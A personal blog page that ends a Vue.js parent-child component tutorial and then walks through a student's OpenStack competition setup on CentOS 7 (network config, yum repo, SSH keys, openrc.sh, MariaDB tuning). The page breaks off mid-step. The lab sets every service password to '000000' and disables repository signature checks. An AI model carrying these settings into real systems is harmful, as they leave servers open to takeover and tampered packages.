13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <div class="FatherBox"> <ChildComponent :message="message" @update-message="updateMessage" /> <button @click="changeMessage">Change Message By ParentComponent</button> </div> </template> <script lang="ts"> import ChildComponent from './ChildComponent.vue'; export default { components: { ChildComponent, }, data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, methods: { updateMessage(newMessage: any) { this.message = newMessage; }, changeMessage() { this.message = 'New message from parent!'; }, }, }; </script> <style scoped> .FatherBox { background-color: #f1f1f1; border-radius: 20px; box-shadow: 0 5px 5px rgba(0, 0, 0, 0.2); padding: 20px; } </style> </code></pre></td></tr></table> </div> </div>ChildComponent: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <div> <p>{{ message }}</p> <button @click="changeMessage">Change Message</button> </div> </template> <script lang="ts"> export default { props: { message: { }, }, methods: { changeMessage() { const newMessage = 'New message from child!'; this.$emit('update-message', newMessage); }, }, }; </script> </code></pre></td></tr></table> </div> </div><h2 id="test">Test</h2> Then we can execute <code>yarn dev</code> to start a development server and we can see a page like this: Now Let’s try clicking the first button! Obviously! The content of the text changed! Then let’s click the second button! It became “New message from parent!”! That’s amazing right? <h2 id="conclusion">Conclusion</h2> That’s it! By following these steps, you can successfully pass a value from a parent component to a child component using props and events in Vue.js. Don’t forget to save your files, import components where necessary, and register components appropriately.

2023/7/22

Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)

<div class="featured-image"> <img src="/img/2023-05-04-17-14-22%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> As you know, I have been fortunate enough to be selected by my instructors to participate in the provincial cloud computing competition. As a result, I have joined the project group in campus. As a member of the group, I need to study hard and continuously expand my knowledge. To achieve good results at the upcoming provincial competition, we need to learn about the structure of private clouds and the different types of container clouds. One suggested option for a private cloud solution is OpenStack, which can be complex and require significant effort to master. However, I am still motivated to pursue this technology as I have a strong interest in IT and Linux-related topics, and I believe that the challenge of learning OpenStack will ultimately improve my knowledge and skills. Therefore, I made a decision to write some articles on my blog site to document my study process. <h2 id="preparation">Preparation</h2> <h3 id="nodes">Nodes</h3> At first of the first, I need to understand a basic example structrue of the OpenStack. Without doubt, this picture below is a reasonable and official one. However, limited by the performance and small disk storage, I can only create mainly 2 nodes and an extra resource node to provide the images and repos. I won’t create independent Object Storage Node and Block Storage Node while it’s a better choice to add 2 extra virtual disks to the Compute Node. And for the Cinder Service, I will only provide 1 disk with 2 partitions to run the service. The details of my VirutalBox properties is blow: By the way, I have to explain the Arch VM, it’s only a resource node to provide the HTTP downloading and <code>yum</code> repo service. So I just use 256MB RAM and 1 core, but 2 disks to storage the multiple and large repo files. <h3 id="network">Network</h3> <h4 id="network-interfaces">Network Interfaces</h4> In order to set up the OpenStack Services, each node (compute and controller) need to use 2 network interfaces. The first one is used to connect to the Management NetWork while the second one is used to connect the Operation Network. <table> <thead> <tr> <th style="text-align:center">Network Interface</th> <th style="text-align:center">Network</th> <th style="text-align:center">Usage</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">enp0s3</td> <td style="text-align:center">192.168.56.0/24</td> <td style="text-align:center">Management NetWork</td> </tr> <tr> <td style="text-align:center">enp0s8</td> <td style="text-align:center">172.129.1.0/24</td> <td style="text-align:center">Operation Network</td> </tr> </tbody> </table> <h4 id="nodes-ip-address">Nodes IP Address</h4> So the detail netowrk properties is below: <table> <thead> <tr> <th style="text-align:center">Node</th> <th style="text-align:center">Management Address</th> <th style="text-align:center">Operation Address</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">controller</td> <td style="text-align:center">192.168.56.2</td> <td style="text-align:center">172.129.1.1</td> </tr> <tr> <td style="text-align:center">compute</td> <td style="text-align:center">192.168.56.3</td> <td style="text-align:center">172.129.1.2</td> </tr> <tr> <td style="text-align:center">Resource</td> <td style="text-align:center">192.168.56.100</td> <td style="text-align:center">None</td> </tr> </tbody> </table> <h3 id="operating-system">Operating System</h3> CentOS will be installed in the controller and compute and the Arch Linux will be installed in Resouce. <table> <thead> <tr> <th style="text-align:center">Node</th> <th style="text-align:center">OS</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">controller</td> <td style="text-align:center">CentOS 7</td> </tr> <tr> <td style="text-align:center">compute</td> <td style="text-align:center">CentOS 7</td> </tr> <tr> <td style="text-align:center">Resource</td> <td style="text-align:center">Arch Linux</td> </tr> </tbody> </table> <h4 id="set-up-the-network">Set up the network</h4> Edit the file <code>/etc/sysconfig/network-scripts/ifcfg-enp0s3</code> and <code>/etc/sysconfig/network-scripts/ifcfg-enp0s8</code> on each nodes. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"># vim /etc/sysconfig/network-scripts/ifcfg-enp0s3 # vim /etc/sysconfig/network-scripts/ifcfg-enp0s8 </code></pre></td></tr></table> </div> </div>And Edit the file according to the sheet. For example, the controller node is below: <code>/etc/sysconfig/network-scripts/ifcfg-enp0s3</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPADDR=192.168.56.2 GATEWAY=192.168.56.1 PREFIX=24 IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s3 UUID=d59932b3-b22e-4d55-893d-cdeb847bd619 DEVICE=enp0s3 ONBOOT=yes </code></pre></td></tr></table> </div> </div><code>/etc/sysconfig/network-scripts/ifcfg-enp0s8</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPADDR=172.129.1.1 PREFIX=24 IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s8 UUID=b02be511-361b-447f-b670-282850bce1f5 DEVICE=enp0s8 ONBOOT=yes </code></pre></td></tr></table> </div> </div><h4 id="start-ssh-service">Start ssh service</h4> Start sshd on each nodes. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"># systemctl start sshd && systemctl enable sshd </code></pre></td></tr></table> </div> </div><h2 id="quiz">Quiz</h2> <h3 id="task-1-building-private-cloud-services-105-points">[Task 1] Building Private Cloud Services [10.5 points]</h3> <blockquote> <h4 id="question-1-basic-environment-configuration-05-points">[Question 1] Basic environment configuration [0.5 points]</h4> Using the provided username and password, log in to the provided OpenStack private cloud platform. Under the current tenancy, create two virtual machines using the CentOS7.9 image and 4vCPU/12G/100G_50G type. The second network card should be created and connected to both the controller and compute nodes (the second network card’s subnet is <code>10.10.X.0/24</code>, where X represents the workstation number, and no routing is needed). Verify the security group policies to ensure normal network communication and ssh connection, and configure the servers as follows: <ol> <li>Set the hostname of the control node to ‘controller’ and that of the compute node to ‘compute’;</li> <li>Modify the hosts file to map IP addresses to hostnames.</li> </ol> After completing the configuration, submit the username, password, and IP address of the control node in the answer box. </blockquote> The first quiz is eazy, just some steps can be done. At the controller Node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# hostnamectl set-hostname controller </code></pre></td></tr></table> </div> </div>At the compute Node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# hostnamectl set-hostname compute </code></pre></td></tr></table> </div> </div>Edit the file <code>/etc/hosts</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# vim /etc/hosts </code></pre></td></tr></table> </div> </div>Write these: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 192.168.56.100 Resource 192.168.56.2 controller 192.168.56.3 compute </code></pre></td></tr></table> </div> </div>Save it by <code>:wq</code>. Then send it to compute Node by <code>scp</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# scp /etc/hosts root@compute:/etc/hosts </code></pre></td></tr></table> </div> </div>Finally, all the operation is complete. <blockquote> <h4 id="question-2-yum-repository-configuration-05-points">[Question 2] Yum Repository Configuration [0.5 points]</h4> Using the provided HTTP service address, there are <code>CentOS 7.9</code> and <code>IaaS network YUM repositories</code> available under the HTTP service. Use this HTTP source as the network source for installing the IaaS platform. Set up the yum source file http.repo for both the controller node and compute node. After completion, submit the username, password, and IP address of the control node to the answer box. </blockquote> Well, it’s still a easy question. First, delete the old repo files in two nodes: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# rm -rfv /etc/yum.repos.d/* </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# rm -rfv /etc/yum.repos.d/* </code></pre></td></tr></table> </div> </div>Second, according to the question, we should create and edit a file named after <code>http.repo</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# vim /etc/yum.repos.d/http.repo </code></pre></td></tr></table> </div> </div>write the information below into the file: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[centos] name=centos baseurl=http://Resource/centos gpgcheck=0 enabled=1 [iaas-repo] name=centos baseurl=http://Resource/iaas gpgcheck=0 enabled=1 </code></pre></td></tr></table> </div> </div>Then save it, and do the same operation in the compute node. But there’s a quick way to use <code>scp</code> to copy the file to it. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# scp /etc/yum.repos.d/http.repo root@compute:/etc/yum.repos.d/http.repo </code></pre></td></tr></table> </div> </div>Then type the password of the root in compute node, the file will be sent. And of course, I will use the quick way to do the same executions. <blockquote> <h4 id="question-3-configure-ssh-without-keys-05-points">[Question 3] Configure SSH without keys [0.5 points]</h4> Configure the controller node to access the compute node without a key, and then attempt an SSH connection to the hostname of the compute node for testing. After completion, submit the username, password, and IP address of the controller node in the answer box. </blockquote> It’s also an easy and necessary operation we have to do, because we can make the controller node easier to transfer files and execute commands in compute node. So the first thing we have to do is generate a <code>ssh-key</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# ssh-keygen </code></pre></td></tr></table> </div> </div>Then press the <kbd>Enter</kbd> to confirm your requirements of generation according to the information in terminal. Normally you will see these: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa Your public key has been saved in /root/.ssh/id_rsa.pub The key fingerprint is: SHA256:FYN98pz53tfocj5Q4DO90jqqN+lJdzXi9WKMFNjm4Wc root@Resource The key's randomart image is: +---[RSA 3072]----+ | oo | | . o=o | | o*== | | . +Ooo | | S +BE+.| | .+=*.o| | ..o*=oo| | .+o+o=.+| | .++o *o..| +----[SHA256]-----+ </code></pre></td></tr></table> </div> </div>And now it’s time to put the key into the compute node! Just simply execute the <code>ssh-copy-id</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# ssh-copy-id root@compute </code></pre></td></tr></table> </div> </div>And type the password at the last time! You needn’t enter the ssh password of the compute node anymore! Then this quiz is solved! <blockquote> <h4 id="question-4-basic-installation-05-points">[Question 4] Basic Installation [0.5 points]</h4> Install the <code>openstack-iaas</code> package on both the control node and compute node, and configure the basic variables in the script files of the two nodes according to Table 2 (the configuration script file is <code>/etc/openstack/openrc.sh</code>). </blockquote> <ul> <li>Table 2 Cloud Platform Configuration Information</li> </ul> <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="ProgId" content="Excel.Sheet"> <meta name="Generator" content="Aspose.Cell 22.7.0"> <link rel="File-List" href="工作簿1_files/filelist.xml"> <link rel="Edit-Time-Data" href="工作簿1_files/editdata.mso"> <link rel="OLE-Object-Data" href="工作簿1_files/oledata.mso">  <style>  </style>  </head> <body link='blue' vlink='purple' > <table border='0' cellpadding='0' cellspacing='0' width='697' style='border-collapse: collapse;table-layout:fixed;width:522pt'> <col width='210' style='mso-width-source:userset;width:157.5pt'> <col width='232' style='mso-width-source:userset;width:174pt'> <col width='255' style='mso-width-source:userset;width:191.25pt'> <tr height='19' style='mso-height-source:use21rset;height:14.25pt'> <td height='17' class='x21' width='210' style='height:12.75pt;width:157.5pt;'>Service Name</td> <td class='x21' width='232' style='width:174pt;'>Variable</td> <td class='x21' width='255' style='width:191.25pt;'>Parameter/Password</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='7' height='131' class='x21' style='border-bottom:1px solid #000000;height:98.25pt;'>Mysql</td> <td class='x21'>root</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Keystone</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Glance</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Nova</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Neutron</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Heat</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Zun</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='8' height='150' class='x21' style='border-bottom:1px solid #000000;height:112.5pt;'>Keystone</td> <td class='x21'>DOMAIN_NAME</td> <td class='x21'>demo</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Admin</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Rabbit</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Glance</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Nova</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Neutron</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Heat</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>Zun</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td rowspan='2' height='36' class='x21' style='border-bottom:1px solid #000000;height:27pt;'>Neutron</td> <td class='x21'>Metadata</td> <td class='x21'>000000</td> </tr> <tr height='19' style='mso-height-source:userset;height:14.25pt'> <td class='x21'>External Network</td> <td class='x21'>eth1 (depending on actual situation)</td> </tr> <![if supportMisalignedColumns]> <tr height='0' style='display:none'> <td width='210' style='width:157.5pt;'></td> <td width='232' style='width:174pt;'></td> <td width='255' style='width:191.25pt;'></td> </tr> <![endif]> </table> </body> </html> So according to the Quiz, we have to install the package <code>openstack-iaas</code> at first: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# yum install -y openstack-iaas </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# yum install -y openstack-iaas </code></pre></td></tr></table> </div> </div>Then edit the file <code>/etc/openstack/openrc.sh</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# vim /etc/openstack/openrc.sh </code></pre></td></tr></table> </div> </div>With the information provided by the tables, we can simply write them into it by using <code>vim</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">##--------------------system Config--------------------## ##Controller Server Manager IP. example:x.x.x.x #HOST_IP=192.168.56.2 ##Controller HOST Password. example:000000 #HOST_PASS=000000 ##Controller Server hostname. example:controller #HOST_NAME=controller ##Compute Node Manager IP. example:x.x.x.x #HOST_IP_NODE=192.168.56.3 ##Compute HOST Password. example:000000 #HOST_PASS_NODE=000000 ##Compute Node hostname. example:compute #HOST_NAME_NODE=compute ##--------------------Chrony Config-------------------## ##Controller network segment IP. example:x.x.0.0/16(x.x.x.0/24) #network_segment_IP=192.168.56.0/24 ...... </code></pre></td></tr></table> </div> </div>But for all the <code>PASS=000000</code> we can operate quickly by using the command. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:%s/PASS=/PASS=000000/g </code></pre></td></tr></table> </div> </div>Then you will spot that there is a <code>#</code> in each of the front of the variables, we need to execute this <code>vim</code> command to delete the first character: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:%s/^.\{1\}// </code></pre></td></tr></table> </div> </div>Finally, we will get a file like this: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">#--------------------system Config--------------------## #Controller Server Manager IP. example:x.x.x.21x HOST_IP=192.168.56.2 #Controller HOST Password. example:000000 HOST_PASS=000000 #Controller Server hostname. example:controller HOST_NAME=controller #Compute Node Manager IP. example:x.x.x.x HOST_IP_NODE=192.168.56.3 #Compute HOST Password. example:000000 HOST_PASS_NODE=000000 #Compute Node hostname. example:compute HOST_NAME_NODE=compute #--------------------Chrony Config-------------------## #Controller network segment IP. example:x.x.0.0/16(x.x.x.0/24) network_segment_IP=192.168.56.0/24 #--------------------Rabbit Config ------------------## #user for rabbit. example:openstack RABBIT_USER=openstack #Password for rabbit user .example:000000 RABBIT_PASS=000000 #--------------------MySQL Config---------------------## #Password for MySQL root user . exmaple:000000 DB_PASS=000000 #--------------------Keystone Config------------------## #Password for Keystore admin user. exmaple:000000 DOMAIN_NAME=demo ADMIN_PASS=000000 DEMO_PASS=000000 #Password for Mysql keystore user. exmaple:000000 KEYSTONE_DBPASS=000000 #--------------------Glance Config--------------------## #Password for Mysql glance user. exmaple:000000 GLANCE_DBPASS=000000 #Password for Keystore glance user. exmaple:000000 GLANCE_PASS=000000 #--------------------Placement Config----------------------## #Password for Mysql placement user. exmaple:000000 PLACEMENT_DBPASS=000000 #Password for Keystore placement user. exmaple:000000 PLACEMENT_PASS=000000 #--------------------Nova Config----------------------## #Password for Mysql nova user. exmaple:000000 NOVA_DBPASS=000000 #Password for Keystore nova user. exmaple:000000 NOVA_PASS=000000 #--------------------Neutron Config-------------------## #Password for Mysql neutron user. exmaple:000000 NEUTRON_DBPASS=000000 #Password for Keystore neutron user. exmaple:000000 NEUTRON_PASS=000000 #metadata secret for neutron. exmaple:000000 METADATA_SECRET=000000 #External Network Interface. example:eth1 INTERFACE_NAME=enp0s3 #External Network The Physical Adapter. example:provider Physical_NAME=provider1 #First Vlan ID in VLAN RANGE for VLAN Network. exmaple:101 minvlan=101 #Last Vlan ID in VLAN RANGE for VLAN Network. example:200 maxvlan=200 #--------------------Cinder Config--------------------## #Password for Mysql cinder user. exmaple:000000 CINDER_DBPASS=000000 #Password for Keystore cinder user. exmaple:000000 CINDER_PASS=000000 #Cinder Block Disk. example:md126p3 BLOCK_DISK=sdb1 #--------------------Swift Config---------------------## #Password for Keystore swift user. exmaple:000000 SWIFT_PASS=000000 #The NODE Object Disk for Swift. example:md126p4. OBJECT_DISK=sdb2 #The NODE IP for Swift Storage Network. example:x.x.x.x. STORAGE_LOCAL_NET_IP=172.129.1.2 #--------------------Trove Config----------------------## #Password for Mysql trove user. exmaple:000000 TROVE_DBPASS=000000 #Password for Keystore trove user. exmaple:000000 TROVE_PASS=000000 #--------------------Heat Config----------------------## #Password for Mysql heat user. exmaple:000000 HEAT_DBPASS=000000 #Password for Keystore heat user. exmaple:000000 HEAT_PASS=000000 #--------------------Ceilometer Config----------------## #Password for Gnocchi ceilometer user. exmaple:000000 CEILOMETER_DBPASS=000000 #Password for Keystore ceilometer user. exmaple:000000 CEILOMETER_PASS=000000 #--------------------AODH Config----------------## #Password for Mysql AODH user. exmaple:000000 AODH_DBPASS=000000 #Password for Keystore AODH user. exmaple:000000 AODH_PASS=000000 #--------------------ZUN Config----------------## #Password for Mysql ZUN user. exmaple:000000 ZUN_DBPASS=000000 #Password for Keystore ZUN user. exmaple:000000 ZUN_PASS=000000 #Password for Keystore KURYR user. exmaple:000000 KURYR_PASS=000000 #--------------------OCTAVIA Config----------------## #Password for Mysql OCTAVIA user. exmaple:000000 OCTAVIA_DBPASS=000000 #Password for Keystore OCTAVIA user. exmaple:000000 OCTAVIA_PASS=000000 #--------------------Manila Config----------------## #Password for Mysql Manila user. exmaple:000000 MANILA_DBPASS=000000 #Password for Keystore Manila user. exmaple:000000 MANILA_PASS=000000 #The NODE Object Disk for Manila. example:md126p5. SHARE_DISK=sdc1 #--------------------Cloudkitty Config----------------## #Password for Mysql Cloudkitty user. exmaple:000000 CLOUDKITTY_DBPASS=000000 #Password for Keystore Cloudkitty user. exmaple:000000 CLOUDKITTY_PASS=000000 #--------------------Barbican Config----------------## #Password for Mysql Barbican user. exmaple:000000 BARBICAN_DBPASS=000000 #Password for Keystore Barbican user. exmaple:000000 BARBICAN_PASS=000000 </code></pre></td></tr></table> </div> </div>And then execute the <code>scp</code> command to copy it to the compute node, this Quiz gonna be solved! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# scp /etc/openstack/openrc.sh root@compute:/etc/openstack/openrc.sh </code></pre></td></tr></table> </div> </div><blockquote> <h4 id="question-5-database-installation-and-tuning-10-point">[Question 5] Database Installation and Tuning [1.0 point]</h4> Use the <code>iaas-install-mysql.sh</code> script on the controller node to install services such as Mariadb, Memcached, and RabbitMQ. After installing the services, modify the <code>/etc/my.cnf</code> file to meet the following requirements: <ol> <li>Set the database to support case sensitivity;</li> <li>Set the cache for innodb table indexes, data, and insert data buffer to 4GB;</li> <li>Set the database’s log buffer to 64MB;</li> <li>Set the size of the database’s redo log to 256MB;</li> <li>Set the number of redo log file groups for the database to 2. After completing the configuration, submit the username, password, and IP address of the controller node in the answer box.</li> </ol> </blockquote> Before we execute the <code>iaas-install-mysql.sh</code> to install services, we need to run the <code>iaas-pre-host.sh</code> script on each nodes, in order to install some packages the services need. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# cd /usr/local/bin/ [root@controller bin]# ./iaas-pre-host.sh </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# cd /usr/local/bin/ [root@compute bin]# ./iaas-pre-host.sh </code></pre></td></tr></table> </div> </div>After the script finished, we need to reconnect the <code>ssh</code> shell or reboot the system of each nodes. Then we can do the first step, run <code>iaas-install-mysql.sh</code> in controller node. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-mysql.sh </code></pre></td></tr></table> </div> </div>And we edit the file <code>/etc/my.cnf</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# vim /etc/my.cnf </code></pre></td></tr></table> </div> </div>Add these properties into it: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">lower_case_table_names = 1 innodb_buffer_pool_size = 4G innodb_log_buffer_size = 64M innodb_log_file_size = 256M innodb_log_files_in_group = 2 </code></pre></td></tr></table> </div> </div>Make sure your file look like this: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td 